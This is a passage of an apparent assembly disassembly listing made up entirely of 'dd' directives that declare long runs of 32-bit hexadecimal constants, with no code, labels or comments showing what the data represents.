		dd 0C17CD002h, 40A49D54h, 0EA3C611Ch, 8000996Bh, 0AB62EA46h
		dd 1000637Dh, 0E1364309h, 6014CD2h, 0D4BB8028h,	230E923h
		dd 5C355955h, 0ED1200A0h, 9F70AE78h, 230A5FCh, 49A2215Dh
		dd 487113h, 0D1817C1Ch,	7D06DC34h, 4A631A00h, 0F1DF12AFh
		dd 253700B4h, 0E404A97Ah, 3244F82h, 0AE60383Ch,	46A1B36Fh
		dd 2D22CBh, 3F6FA660h, 8675E44Bh, 94007492h, 11304891h
		dd 26CEC8A2h, 8B01959h,	14281AA6h, 871A146h, 6CDD0612h
		dd 95436DC4h, 80E4126Bh, 88EC40C7h, 0B1AF0F3Dh,	0F7A22163h
		dd 3C6F1E0h, 0ECDC89FDh, 5BF0CCB5h, 0D0023E0h, 0FE9F79A4h
		dd 185E6BA3h, 870ADDDh,	0A548DE11h, 0A7720585h,	0B4223CFDh
		dd 162D6141h, 0AE34D0h,	0DA85D68h, 95731CDDh, 53795A60h
		dd 2B2B576h, 41D8D1B9h,	884125CDh, 0A4C0BCDEh, 465E48BDh
		dd 4CC00267h, 48BC38AAh, 62EC10h, 3EC8DB05h, 0EFA29F27h
		dd 2FD3E401h, 0FC101D90h, 0A641F020h, 87FB0388h, 9A3C79F0h
		dd 30CD71F9h, 0FF0AC857h, 0F40DCBB8h, 0AD800291h, 0C3A1B26Fh
		dd 5F34448Ch, 9F6FA500h, 498C3297h, 0BA2A07DAh,	0D9D4A34Ch
		dd 0DBBB70A2h, 7905B064h, 3C7531D8h, 749D8847h,	0B09480F9h
		dd 261DD939h, 76F4CEA2h, 0E84E2F46h, 24A53CA2h,	0AA1CD4EAh
		dd 170B8121h, 0CE28D878h, 3960016h, 9A7F7317h, 418A1BAh
		dd 0DDC172E1h, 340E8919h, 44874104h, 0BF906065h, 58DE12D8h
		dd 42010167h, 6453B104h, 0F4885EE4h, 0F82000B3h, 0EA5729FBh
		dd 9CA3D97Dh, 18B4889Dh, 8120A249h, 0DD071274h,	106831D2h
		dd 1126C96h, 471158C6h,	32A16305h, 61D80518h, 0C8452DF1h
		dd 3481C788h, 9C005AFDh, 0CC91C815h, 0EF1867D1h, 627B307h
		dd 0A04A3DA7h, 0EA9E8EBCh, 0D007C07Ah, 1F00913h, 0B07981B4h
		dd 50A46342h, 4771314Ch, 0B094D480h, 0BC7CA824h, 99A02E62h
		dd 0B2388CC0h, 0EE025019h, 0E73FFF8Bh, 66EC4268h, 69A800ECh
		dd 83AE2EE9h, 6B0985E1h, 8305097Ch, 76095A4h, 10B707B9h
		dd 170A400Eh, 0EE1389F4h, 0A41D9CD8h, 1D77B009h, 8030114Ch
		dd 6B757694h, 0D494A0DFh, 44AD24DCh, 89F937Ch, 5C442AE4h
		dd 5DC67940h, 4000F129h, 0E98FC34Bh, 1680B4CCh,	3A3D5835h
		dd 6A23D0h, 89E9E6D4h, 3605CBC9h, 0B13878E5h, 207CA04Fh
		dd 3C2A4C14h, 8491C01Fh, 0E395DFC2h, 29CFEDB8h,	8715810Dh
		dd 0C2CC9936h, 78271470h, 7902AF8Ah, 6C5931DCh,	48E55442h
		dd 77606BE4h, 0AB0257C6h, 84B5DD60h, 989489CBh,	0E3638Ch
		dd 2AC13642h, 4BC9E25h,	73004498h, 37A27A51h, 905D95D9h
		dd 5E711360h, 62CC212Dh, 0AD9BC9Dh, 0E824ABB0h,	6F3C0108h
		dd 0A1B16FE1h, 0B02828BBh, 6FA45Eh, 1038A10Dh, 33175F0Fh
		dd 0D840BA02h, 402AD969h, 9182E958h, 182D7914h,	203C98C2h
		dd 0AF01688Dh, 16733CC7h, 0E42C6A54h, 0A8DBACC0h, 3D43A035h
		dd 0ED02C022h, 0BBBDDCA4h, 43851E0h, 165A1D4h, 73AE1139h
		dd 0CC19047h, 18BB646Dh, 579F638Ah, 345E8490h, 2014A556h
		dd 0C52439DCh, 93D1C82Bh, 234C3A15h, 0C53D0069h, 0B0F3205Dh
		dd 0D6148A75h, 6FCC6B4h, 24DCBBDFh, 0D92824C9h,	549B4FF8h
		dd 0FC69192Ch, 65006211h, 0D040E0B3h, 4200E6A6h, 0F1A6661h
		dd 6038D73Dh, 0B09B41B7h, 0C901F9DCh, 0A0FD6152h, 3CE86ED2h
		dd 1C993Dh, 7DDF8A77h, 11F03AFCh, 4E148BE6h, 24E0A45Ch
		dd 4674207Bh, 0E68A0E35h, 49EEC086h, 0A3C26CEh,	84D5DC4Bh
		dd 62FC02C4h, 82959A2h,	4C2CC064h, 0C8850835h, 0F0B23894h
		dd 0D331C2F2h, 68289D31h, 0FA3E009Eh, 0F655E82Ch, 8DA78B0Eh
		dd 0ED49601Dh, 17E13F7h, 549DE171h, 631F75FFh, 3067A2ACh
		dd 0E513F75Dh, 0EC040F4Bh
		dd 7C023759h, 9458FCB6h, 0BE7D4E12h, 708814CBh,	45F360C7h
		dd 1813D0B4h, 0E38025D8h, 18A5D831h, 70F4B006h,	0C004B9D8h
		dd 0AA16FE91h, 54474A04h, 0F4E4DE28h, 0A1FF05A5h, 38239ECh
		dd 1A4E2DD4h, 281320E6h, 3450D5D1h, 17023CCh, 35AEDBB2h
		dd 88C618D0h, 0DB00AAF3h, 13B5E561h, 24C4D7CCh,	4174D627h
		dd 24E61135h, 0C13A6D8h, 0F0D28091h, 0DBAB3069h, 9835A708h
		dd 0A3EC583Dh, 854ADC00h, 2573285Ch, 0F7BC0729h, 0D2434BDAh
		dd 59057835h, 6F23C43Ah, 0E9C5AC38h, 0CB497F00h, 943D7080h
		dd 71DD809Ch, 0AF927D9Dh, 0F404C47Eh, 251131D7h, 2A1028DAh
		dd 305E13ACh, 0CDDCE020h, 9CC559F8h, 798204Bh, 4A3D8C88h
		dd 0AA4C023Ch, 0C8E43DB3h, 32DAF94h, 0B159BF14h, 0AAC679CFh
		dd 0DC93016h, 0C8CBC825h, 1DC06EC8h, 3489908h, 92854457h
		dd 0E584B3FCh, 6FE0C388h, 7100E156h, 0FC25623Ch, 7ED744Ch
		dd 8BAF089Bh, 8707D4D5h, 814AF4F0h, 0E0D3B2ECh,	682C2BC4h
		dd 0D16FF4B0h, 774E0296h, 0A86720D8h, 17029500h, 0B7976E1h
		dd 374EC372h, 0D044A402h, 1908C00Ah, 0A748002Eh, 3BA6B1D4h
		dd 18F72892h, 0ACDB05B0h, 8B3CC035h, 0A8F10734h, 0DD30CCDBh
		dd 91C838CDh, 1D4909E4h, 28777C80h, 31D2BFD3h, 2D00D037h
		dd 0C24DEDh, 0CDC3782Fh, 0F9332C68h, 0C8DF572Eh, 67808665h
		dd 0E831BFFh, 0A21FBAD0h, 82A3D664h, 2C84BBB8h,	0DA0E405Eh
		dd 1C887EE4h, 40BF2031h, 0F135DF9Eh, 0A090800Dh, 6087900h
		dd 0BBC38AB1h, 790B1DAh, 48EDE4A4h, 82FF0D04h, 2FC8ECCBh
		dd 958CCBC0h, 0D5E116A8h, 3A8084E8h, 16623E0h, 888FC1E0h
		dd 0BC246CC6h, 0C90E8C6Bh, 80201311h, 38CF7901h, 60D098D0h
		dd 5E29B141h, 0BC9C6A33h, 416E467Ch, 0DE934090h, 0B37BCB64h
		dd 0A4215C60h, 0B774E03h, 0F6B5E1DDh, 61F53440h, 22630C80h
		dd 68964FA0h, 54A70B40h, 0B6DD3A25h, 0DADFD580h, 8A0630C3h
		dd 0D91D000h, 37AF68B5h, 97F042Ah, 0A179D402h, 98C4DACCh
		dd 8694DE14h, 0BCBF1CF7h, 6317F5C2h, 4C2C5A9Eh,	36273C58h
		dd 6D91C835h, 78BA7B80h, 0C1CD09Eh, 1F9DF06h, 5C6BB508h
		dd 0E460B055h, 78614399h, 0E8627CAAh, 7A73C71h,	652241B4h
		dd 3EB4F05Fh, 0A6C021F1h, 6B91D493h, 0A9DBAD80h, 448CA835h
		dd 0A501EEC3h, 667858DCh, 0C82238C8h, 3681DB00h, 0AB5612Ah
		dd 64800B00h, 762D8525h, 0DEEC09E5h, 0E80CD15Dh, 0BE4898A2h
		dd 80414B68h, 4A5149D8h, 0B3B3A443h, 10F0D50Ch,	0DC0A00BBh
		dd 1B4D57B0h, 596FE1ECh, 82536918h, 0F0762538h,	91D9100Ch
		dd 598E0071h, 4A613DFh,	3ADC0E2Ah, 7062AB55h, 9CC12DFCh
		dd 5F9C5077h, 69316223h, 9F4588DAh, 18C01C3Ch, 3D97AF1Fh
		dd 0DF1743FCh, 5088D8F7h, 5C3EED7h, 0C4208DB0h,	0FF380F8h
		dd 153FC95Ah, 6C4E89ADh, 1BF544Bh, 0D9877DDAh, 0B087CF82h
		dd 0A3213610h, 0CF9A3950h, 25125700h, 2C7DB504h, 1F58788Ch
		dd 49F5A89h, 80980BD5h,	97C4E8FAh, 82E18701h, 248EA37Fh
		dd 11026CCh, 0DA163720h, 0F7B9BC0Fh, 0E98F06C8h, 0B1034C98h
		dd 52B0159Bh, 6119FF9Fh, 4E000980h, 0A30B500Bh,	426C31D4h
		dd 0CD9ACh, 4C8C2015h, 452ED41Dh, 6F441469h, 0ADDBB160h
		dd 3CC83510h, 0DBA9F2B0h, 43A0D403h, 987F9644h,	27835CF4h
		dd 54381912h, 6B005B95h, 704CDB89h, 45EE3D8h, 42B6CDFDh
		dd 0C82CCBBEh, 0AA54C070h, 0D9003339h, 9B8B34C2h, 0C05B0256h
		dd 0EEA55F71h, 5805464Eh, 42158A45h, 59B5AE02h,	5C78F23Dh
		dd 8338F455h, 0F7B8CD80h, 3458ABAFh, 324F7D03h,	0E012C672h
		dd 94D6294Eh, 0D0959790h, 5F81F108h, 0CA333700h, 0FD7FA74Ah
		dd 15E71EEDh, 0B44E80E9h, 7CAE2FD9h, 4974A63Ah,	0DA313F8Ch
		dd 281F6C12h, 12780363h, 0F2D4DD0Bh, 709AC098h,	7EB4A212h
		dd 636D28A1h, 8DD09DCh,	0B450510Eh, 0E8F8E55Ch,	0A77F8CC6h
		dd 0E40F5598h, 25A1C5DEh, 0F4D77DE1h, 0B784B621h, 9110C0A6h
		dd 1902843Dh, 88908B24h, 6FC2C369h, 8848AFA2h, 3C30DA90h
		dd 81A1612Bh, 1C2D3A73h, 1BEBE080h, 0D3EA59D2h,	6BD1C71Ch
		dd 18C4B0A5h, 0EFA900F0h, 35FCE865h, 73171E94h,	58906980h
		dd 0CBAEFDA4h, 30043C86h, 345E445Bh, 0AD3E20A2h, 2092B9A0h
		dd 14584139h, 0CDC4391h, 2190AE54h, 0E2BB199Fh,	7279811Ah
		dd 39D806C8h, 4B3032B1h, 5E8C21E0h, 7C344035h, 0C95CFCD6h
		dd 41B48088h, 958191ECh, 4F31A0A2h, 0AF544929h,	612DE1F0h
		dd 0DCA4186Bh, 14342CB1h, 29B0DD0Dh, 6FD1C4C8h,	0EE780E18h
		dd 4C0FDB01h, 0B42EC089h, 0BE250D20h, 8B503FCh,	913D7F66h
		dd 1C455B5Eh, 1CF59A62h, 2C24B5EDh, 6DCC0077h, 4D390EDAh
		dd 1A250614h, 4F08689Eh, 0CBD91373h, 49C818C9h,	9395E053h
		dd 2F57C49Ch, 1C52338h,	0FCFAFE2Bh, 0A163E8A9h,	4754A095h
		dd 6B51F0D6h, 0D04DC973h, 21BB91C1h, 82002433h,	0C33F1496h
		dd 0DC00810Bh, 690CBAEDh, 0BED173h, 0D2059448h,	0B4110E55h
		dd 0CC8B534Ah, 0BCC036C8h, 0DBD111h, 7FE20935h,	61D8C010h
		dd 22311D2Fh, 1D0E494h,	3D5B325Eh, 0DA7E01CCh, 0AFF0DF7Ch
		dd 1D8AC70h, 71A3FF25h,	6C9E0DA8h, 8C33BC58h, 0A9E00100h
		dd 77FEBC48h, 0B9D91435h, 840FAC67h, 29A9B021h,	0D91050C6h
		dd 1C137F39h, 0C8808B11h, 0C5FECFC5h, 819DA769h, 745CAD10h
		dd 0B512E538h, 9849D210h, 0E4E8C5C6h, 0C1496067h, 6CD902D2h
		dd 26096158h, 7DE53C71h, 0DC7264A1h, 0B7306BF2h, 7FE73880h
		dd 90D18681h, 80BE3825h, 6334361h, 397AA1h, 0A551E881h
		dd 4B0EABFDh, 6F7EF398h, 7420A95Bh, 19425FEh, 9C55BFAEh
		dd 70E101F1h, 490045A1h, 2237AF6Ah, 26F4D5D4h, 267C5BE0h
		dd 829F11B8h, 62041271h, 600CF120h, 0E6126993h,	78151C0Eh
		dd 8C202A49h, 16996209h, 0F53B00FCh, 5FF98305h,	0CF4A6976h
		dd 0BDD4A004h, 95B0DCF6h, 5100F6B5h, 0E94BFED5h, 6001EBF4h
		dd 0B7D7795Fh, 0B0A08BF9h, 4A3B3661h, 4C2A0033h, 9F589E38h
		dd 730A260Ch, 9EC48CCh,	0CC94282Dh, 68D10491h, 2404FF18h
		dd 0DCDA5722h, 0BD006CB2h, 0E6114902h, 3114405Eh, 0C290EA53h
		dd 8E701D54h, 28D120E5h, 0BE9F63A9h, 239562B4h,	4C1B3C01h
		dd 0E4431882h, 0CCD87EA1h, 0DCFCD913h, 0DA289C05h, 90CB8E4h
		dd 0B218D677h, 0A0E8800h, 0F0905E4Eh, 0B031A44Eh, 5460A5FCh
		dd 88844BBBh, 5E386308h, 984AAF7Dh, 0F70CA264h,	0A504C82Ch
		dd 588417B8h, 399BA70h,	28A09318h, 1905AED7h, 0DA79B302h
		dd 8CFF84F4h, 0AF6FAA05h, 7CB2ABA1h, 6FA25CC0h,	3E04793Bh
		dd 0C6C7FA5Bh, 0D4198EC0h, 8C7759E5h, 7CD5D908h, 3066281Dh
		dd 69D8AD40h, 0D97D8155h, 7874F2D1h, 6D467Ch, 71361307h
		dd 95D1DBCh, 1F4D4958h,	38D51C10h, 646C7645h, 28C65ACh
		dd 5D4ECEC2h, 0E850AEh,	55030CD8h, 81617A79h, 0DC680934h
		dd 7C5AE4B5h, 34F3952Eh, 64CE5C84h, 30DAF8A0h, 53193C87h
		dd 9900D076h, 0B271A4D3h, 2A5910Fh, 0C9C65E0h, 0A0805D79h
		dd 0DA30C7ACh, 98E9317Eh, 37F81968h, 0C2D4AD9h,	5250DF24h
		dd 0BA30AF1Bh, 9ABA868h, 0CEC427A6h, 0C93D3402h, 41FCD4C1h
		dd 23D888h, 4DE9AB9Fh, 9C02C4B9h, 82B4B813h, 2EE40445h
		dd 2B121461h, 2400D06Eh, 28876C2Ch, 4BEB3CFh, 222DE9Dh
		dd 0DD61DC0Eh, 0C451718Fh, 0BF186BD1h, 32BE9601h, 0E0D5DD3Dh
		dd 38189028h, 6CB571BDh
		dd 0B08D7301h, 1E76BFBEh, 3ADE860h, 77BCE2FDh, 48B9DCF3h
		dd 0A38BBCDh, 0C81BB969h, 4674E02Ch, 0A8FA1E6Ah, 0DBBB0405h
		dd 104A58A4h, 1672F9DCh, 94C2922Ch, 9788F8D2h, 0EF123037h
		dd 0DABC4C04h, 2541D802h, 0F7106854h, 78C32E8h,	0A547DEEEh
		dd 11AF977Eh, 2054A1E0h, 0DC254220h, 0D4480F5h,	0C94EB43Dh
		dd 34D18438h, 8A183271h, 453F8100h, 6C79EF31h, 0D6E89EBEh
		dd 0F063B10Ch, 0A21BB26Fh, 9C0874A8h, 40882CB3h, 0CD310369h
		dd 0AFC65B1Eh, 935C4D01h, 2160E40Ch, 0E4A05A3h,	0F4D627FEh
		dd 96A41Ch, 59B108h, 37814465h,	0D030B51Fh, 61785956h
		dd 0A4CBA4Dh, 0BBC89E1Ah, 0A4702EC4h, 0D1A11282h, 20FFA53Ch
		dd 5E141F00h, 454623Ah,	86590CA1h, 44A534B4h, 8E2D4E6Ah
		dd 0BEF435BEh, 32E71C8Fh, 0A3EDF7C0h, 894AE8ADh, 2CA20813h
		dd 7DB55B1Dh, 0DF1DE500h, 38402886h, 17C08F02h,	0E8BC9DDDh
		dd 2808DAE8h, 44D02578h, 9909B054h, 81E29A3Ch, 0D0D7373Ch
		dd 395C212Bh, 0D900F2C9h, 80CEDB90h, 41C764D2h,	12D48709h
		dd 0AA8074E8h, 576D7015h, 14005377h, 4847C7B5h,	0BC8F4312h
		dd 0A6174018h, 5207D983h, 129684F1h, 9CA9AF35h,	3B2EEBB8h
		dd 2601898Dh, 0E8DAA7F2h, 4193A030h, 8C6E2A3Dh,	0D8D9A00h
		dd 5ECF4079h, 9C204898h, 0CDF00C8h, 88EBD2ABh, 0A75D20BDh
		dd 0B2D11108h, 79B40C07h, 0A8B5C2AFh, 68799C51h, 3ECA0019h
		dd 0A909D71Fh, 6031E135h, 0FB4E7DB0h, 3CAC6985h, 0C0D84029h
		dd 416DE7Bh, 8078C93Dh,	5CBB7271h, 17E3FC23h, 3474A1B7h
		dd 20F0AC34h, 2DA00ED3h, 8702F635h, 8767457h, 44E0E408h
		dd 6FA860FDh, 9BA12EADh, 0A05A7038h, 0DCF06F00h, 387851B9h
		dd 0E6430279h, 67910C21h, 0C719B422h, 606A4444h, 14866Ch
		dd 0A38F3D4Fh, 2DB578D9h, 7252402h, 726DE137h, 311513A8h
		dd 0A288F079h, 0BC70834Ch, 99F88C2Eh, 86BFB701h, 0D3BBF18Bh
		dd 1E18523Ah, 0E5DC120Ah, 0C0A3E84h, 730108DFh,	3D882DA7h
		dd 60DF3C8h, 3CFFAF75h,	5E03212Ch, 626BE826h, 350298E5h
		dd 3630009Ch, 0E0E9FB80h, 504ADABh, 1D0417B5h, 40B32CC5h
		dd 0A133C2A2h, 0D4780F50h, 4E275E80h, 0A600F9C5h, 1CD5D378h
		dd 0BCE29DE1h, 2E5E0910h, 0D44BDCE6h, 0EC321499h, 1D306EE2h
		dd 260F02D6h, 0B988F9AAh, 60556460h, 0E0407981h, 406E242h
		dd 387A725Dh, 0BB30D13Bh, 534989D6h, 2260B611h,	0D91AE4FAh
		dd 42586EF1h, 0D69C1260h, 25186C30h, 0FD3E7E42h, 671910C2h
		dd 3D10723Eh, 165A7A6Fh, 0BC49C4C9h, 881B3020h,	0C502FD8h
		dd 0F044B48h, 0A969B46Fh, 480060B2h, 88C0017Bh,	0E425AD2Bh
		dd 0E47445B4h, 1BD6132h, 2EBCAF4h, 0AA240BD5h, 50D9614Ch
		dd 8518C379h, 0FD04D475h, 0D1F137AEh, 0C85AD4A8h, 580194FCh
		dd 0DBE8AEFh, 0D1F2A7B8h, 5138A120h, 9A718C2h, 0CF2943B2h
		dd 0F4404C59h, 0F8135A1Fh, 484C00BBh, 8E9FB2A1h, 0D209E7CFh
		dd 64795870h, 304200F8h, 0A8C21CC8h, 4A098671h,	8327D063h
		dd 885303B8h, 27837951h, 0A8604895h, 873EE236h,	0A6C2036Dh
		dd 75A7708Ch, 0DD8A1E3Eh, 0FD6C80C3h, 7B4B3EE3h, 28DB2600h
		dd 49FC139Bh, 19E700BCh, 36C8DA68h, 0D600F285h,	5D5EBED1h
		dd 50526Dh, 0EC7B993Ah,	167AAB7h, 73AE772h, 0ACC00709h
		dd 0AB100A3Fh, 0B97131h, 274D30D1h, 706CC338h, 2DBC5Ch
		dd 0E8CED70Fh, 0B4C15Ah, 0BB60EF6Dh, 0E7BEB692h, 47362000h
		dd 5A4832C8h, 5C461FB4h, 61B4117h, 0EC3F590Eh, 4D07AF5Fh
		dd 0D22AE5D1h, 40D99002h, 953011h, 8512C541h, 0A52EE31Eh
		dd 462CFD06h, 3E8818A4h, 163EE037h, 1557520Fh, 39E5F240h
		dd 1E2E083Dh, 6E1C0E64h, 4F58BF07h, 517EC190h, 0CB220086h
		dd 83B8AF66h, 256FC6AEh, 59610051h, 2A0BBh, 77BE2FFDh
		dd 0EAEF488Dh, 86DC4200h, 15940553h, 37F800A5h,	7D4CC959h
		dd 0E8099C65h, 20420608h, 7B98F0F0h, 97C81817h,	302A70BAh
		dd 211DDD00h, 0C65A13C0h, 0B94400E6h, 1084EEBBh, 6E01EB2Ch
		dd 1C86C4A7h, 0C043C938h, 5176CDh, 4BAF5E01h, 69937F7Ah
		dd 0AE099CE6h, 1A56D79h, 3CDDC50Dh, 78CFD050h, 767400FAh
		dd 0DC526384h, 73062B15h, 36A0D120h, 45330090h,	3FB3FF55h
		dd 0C400C69Ah, 46B8EC65h, 0EA6FC7Bh, 6EA3C74Dh,	0DC338F20h
		dd 44009FCDh, 88024A1Eh, 6E61Bh, 0B4D90537h, 5D0F9658h
		dd 0B8D5EF01h, 0AC238A5Ah, 0BC943D4h, 5B6EEC95h, 0F0187A80h
		dd 63380411h, 0E100F92Eh, 0B05DF7C7h, 73624Ch, 0B776609Ah
		dd 7FF16772h, 0C1EE39h,	61DEE24Ah, 599777h, 6EC5224Dh
		dd 7CC3323Bh, 0C4FCAD71h, 15ACBF00h, 0C240737Eh, 0A2910E7Bh
		dd 5608C70h, 181E1DBCh,	4413B07Eh, 8400B48h, 0B8B4F10Ah
		dd 0D09D0776h, 0C0D94D60h, 0D6C13BD7h, 0BF85F303h, 0FF2CE5D4h
		dd 9248A030h, 8D020AC7h, 0D82812h, 0C03A99A5h, 17EE1FE1h
		dd 7AF0B41Dh, 6D57D480h, 4C5A4FA1h, 9A038012h, 27E560D6h
		dd 6C783800h, 0EE11930Dh, 2A30020h, 9D3E31FFh, 95078DBFh
		dd 1BFEEA56h, 864503F3h, 8CBB5098h, 856130D4h, 10931EC8h
		dd 2F91F109h, 3142041h,	98888075h, 3FC20A70h, 41B0BD78h
		dd 0FC8120AAh, 6C0035B3h, 75C8B695h, 705BB933h,	0D4E71251h
		dd 704800B8h, 1A4EC42Fh, 0F9E8D300h, 42FAE514h,	0F05237CDh
		dd 97D882C0h, 0AE111D40h, 0A3015000h, 0C2559C74h, 3E6F00F9h
		dd 0D1184EC5h, 160003E6h, 66A7E5F8h, 14C796h, 3EF30C94h
		dd 0B210F0B5h, 0E6135609h, 0FB4C01B9h, 0CC84D19h, 2C610006h
		dd 6ABE8942h, 27781EE5h, 0C2654B12h, 0C6157442h, 28B04895h
		dd 0B37003Ah, 7FEFF407h, 9028773h, 6C7645C2h, 0FFD04168h
		dd 0E900B02Dh, 0C2DF7E98h, 0F0E1733Eh, 170072FAh, 8502CFCCh
		dd 14E21Dh, 484797B9h, 1662AFCBh, 0A075BA00h, 5E8EDD20h
		dd 0F078C04Fh, 0BB7A9401h, 810CE83Bh, 44A13561h, 0B3607C40h
		dd 93BE1EA5h, 3800792Fh, 3F9AD2D5h, 0B000CAE8h,	0CEE67B43h
		dd 76A9E9E5h, 16B14853h, 0C3DCF80Ah, 0E0C703C0h, 69E8318Ch
		dd 78002AB8h, 0DB50BA87h, 2A740ACFh, 5ACB7EFh, 5F4FCD9Ah
		dd 651880B0h, 1C012179h, 7599F3EAh, 9E81003h, 622E00D7h
		dd 55BDDAF4h, 0CF01DC11h, 79072343h, 0F6E42CEEh, 0DAA10FA0h
		dd 0C22030EFh, 9E69AABDh, 0C03E7907h, 641725F9h, 9B0EC160h
		dd 168E71B9h, 80904C58h, 0E4BB803Ch, 1600DAE8h,	0BC66178Dh
		dd 59DB27h, 0D24E95A3h,	43F86BFAh, 0ADD92F0Fh, 609B6CA8h
		dd 0F9F3829h, 57332103h, 0A2807F4Bh, 1D00AB5Dh,	0B5A66E85h
		dd 0E4511EDh, 0C3908CD3h, 0D5A25EA0h, 75006987h, 3504F619h
		dd 3C1E36Dh, 38FF723Dh,	2198BD4Ah, 0A849635Dh, 282609FCh
		dd 9A300010h, 7A46B2EFh, 0F283242Bh, 6BF6001Ch,	8FEACA37h
		dd 0BB1C4C14h, 0DA0079F4h, 3CD6588Dh, 0A1FC2Fh,	61489B96h
		dd 2ED0EFFh, 7DB2200Fh,	0A3C6A071h, 1A7AD0h, 0F1F4573Ah
		dd 29A0533Eh, 88B51E26h, 0D3859101h, 0DC244DDAh, 83922CAAh
		dd 685880D4h, 0CC6D0372h, 73D2C309h, 0C590747h,	2EF0F9A0h
		dd 30020448h, 8066F649h, 2A146B2Ch, 26D43B00h, 45B55A55h
		dd 8A78005Bh, 0A7C05470h, 2B00FD8Bh, 3BB053EFh,	4F9E4ABh
		dd 46D4861Eh, 60C803Fh,	72008887h, 0E69E01A3h, 0C75114h
		dd 0E95B27E7h, 42417AAAh, 1E0CD200h, 4A5CE12Eh,	580CB8B6h
		dd 20E7459h, 7F806278h
		dd 3519E40Fh, 0D5F09C00h, 0CD7B1D03h, 0E450068h, 6FEDBAB7h
		dd 5004C132h, 17E4CF16h, 0D0306693h, 0C8C4A5h, 0E7CAB647h
		dd 34324BF8h, 2A002570h, 605565CBh, 92714Fh, 8CF987Ah
		dd 2E478877h, 80ADF63Eh, 84872F33h, 0C469A0h, 0CE9B743Ah
		dd 4004955Ch, 884FCA0Fh, 0C9E2600Fh, 0D71E4Ah, 12900DDAh
		dd 0F5AD3AEDh, 5018FD0Eh, 0F93C201Bh, 5E1096h, 7843BDE4h
		dd 79543E05h, 2500FF75h, 5B83B5E8h, 90C3E06Ah, 0B1F30138h
		dd 2E81704Dh, 84AFDC79h, 0E86D8003h, 0E0FFAC1Fh, 3ECEBBBh
		dd 8FDDCC22h, 0E5BFE934h, 0B238D0A2h, 41000DF3h, 511DE1C3h
		dd 1D934B7Dh, 0C28DAF07h, 5928D23Eh, 6D01F090h,	0AA006892h
		dd 0BF356247h, 8BED44h,	0EBCAD7A7h, 0CFC74590h,	246FF80Eh
		dd 0EDA86005h, 0E980B94h, 0E8F20A69h, 0B4E980A0h, 0FB006BA7h
		dd 0E5AB9C6h, 52CCD9h, 2FE2EF24h, 1AF80439h, 0D004998h
		dd 1D295E09h, 1F3A6EFAh, 4083E42Eh, 7A36BDAh, 5360DBD5h
		dd 5897D299h, 2D0FAA0h,	91D86DAFh, 108FDDD5h, 0D0589965h
		dd 7344DA70h, 2474087Fh, 8D831418h, 0F834DC18h,	0D1A40002h
		dd 40C1B501h, 4A00B954h, 1A35383Ch, 0F02D9D71h,	5FE000F6h
		dd 0A40A26Bh, 5E6FF1BCh, 0D0730168h, 0B0D11CD4h, 7070064h
		dd 0DC0C6EA5h, 0D588A06Ah, 9FC3CBFh, 575BE300h,	7F21972Dh
		dd 51EA24C3h, 6E770ACCh, 2871E460h, 0DD0280DFh,	72CFFE14h
		dd 0DED60010h, 3D883353h, 84950FABh, 5F804AFEh,	0C026BC2h
		dd 6D058h, 0AB141C59h, 0C6A534h, 6266B1FFh, 0BA20BEA8h
		dd 6DBD5D00h, 0F4921553h, 64580011h, 808AF666h,	4E00A872h
		dd 832A9877h, 13AAC6h, 0FF388540h, 0DA16F04h, 0B8029B7Dh
		dd 0D7CEA09Dh, 4A99E058h, 0C3FD0076h, 0BDE59582h, 42070698h
		dd 0DE75B7BBh, 0CFE03F40h, 839300A4h, 0F6D8B5D1h, 0E7FAE68h
		dd 9D643D3Eh, 0EE02171Fh, 549D6A7Dh, 462140C8h,	58E8D625h
		dd 0F9C65203h, 99866A81h, 0AEDCD866h, 9D50012h,	0D0631684h
		dd 0B2010E46h, 1A2E4CA2h, 4880ABEFh, 1547B5D2h,	0FE5EB798h
		dd 8506740Fh, 6D80CF50h, 1E635E71h, 0A6379A22h,	125100CBh
		dd 6CD010DFh, 0D4069C0Fh, 10E00C03h, 14FD0446h,	0F59E6320h
		dd 68206F2Ch, 799E442h,	1EDCB843h, 487AD95Eh, 0BDC40C14h
		dd 3D9A07CBh, 7A60DDC5h, 0FEC81B2Dh, 30547C0Eh,	0BB19C115h
		dd 9874F312h, 2BFD82Fh,	80D12954h, 0AB886B34h, 0A6F892h
		dd 0BDE2840Eh, 1434D5DCh, 3E0FE11Eh, 63EAA542h,	0F11D40F9h
		dd 83F33042h, 253B9828h, 5C8CFA00h, 0D4C63F49h,	0ECD1827h
		dd 0F8920DBh, 8D363D00h, 14DA06E0h, 0C1E8F7h, 13FEA7FDh
		dd 4902FF15h, 0E50E9FECh, 8CA4AE39h, 90DE0831h,	248400AFh
		dd 0FEA8E749h, 8707A248h, 7A9E236h, 8613C220h, 0FF7E0066h
		dd 0FEC11C8Bh, 75E0266Bh, 101D7730h, 8F4263h, 0C299946Ch
		dd 43E60F98h, 90C88E30h, 3CE2E8h, 0EB46E517h, 0CC44BCBDh
		dd 8489AE28h, 7055481Fh, 0D7D007C0h, 0BDC052Fh,	0D51402A4h
		dd 0A9DE3303h, 0D146117Fh, 30CDE102h, 0E221BBF1h, 32F72EC8h
		dd 0BD61BE41h, 0BAA60498h, 7E108B61h, 10F8DAE5h, 0E07C148Ah
		dd 0EE3A148Fh, 88720F0Ch, 3C0AA411h, 8C0DE581h,	26058D06h
		dd 219A6008h, 208134C6h, 0CCE00406h, 30199617h,	4479F06Dh
		dd 70073992h, 0A5D082Ah, 85E31530h, 514806B3h, 0A1BF6594h
		dd 3B99B502h, 809EA6BAh, 5A45D448h, 0EEB768Eh, 97706F21h
		dd 79DCFF03h, 0A574D688h, 6D4BB702h, 0C18A27F3h, 5183C007h
		dd 3E47E4DDh, 0E6F00E95h, 0D908CFACh, 0DD1F21DCh, 0F5FD2580h
		dd 0EBF195h, 0BA9C5E46h, 0C6AB44F0h, 9993E900h,	9D91498Ch
		dd 3A1B988Dh, 1E09436Bh, 5401C404h, 818EA639h, 0A5E3A9B1h
		dd 6C0131Dh, 0C80A33C2h, 2100A408h, 0DA5DBD0h, 1E4374A3h
		dd 0C282BC27h, 69947F1Dh, 0E8105C80h, 56F648E5h, 0CD428D05h
		dd 88408718h, 5B3F7D3Bh, 70220083h, 0B965E5D1h,	671A93CAh
		dd 4408B3Dh, 0E660D984h, 0F7E44047h, 0D822A743h, 0EDF023Fh
		dd 80D2ECB2h, 0D935EDEBh, 697B2A6Fh, 2344674h, 1318A5DEh
		dd 10A231D8h, 7A5D6CBh,	77AE2EDFh, 0F1E47028h, 21C58C46h
		dd 820E685h, 929F6E81h,	0BE4C0404h, 90E66CD9h, 4D160220h
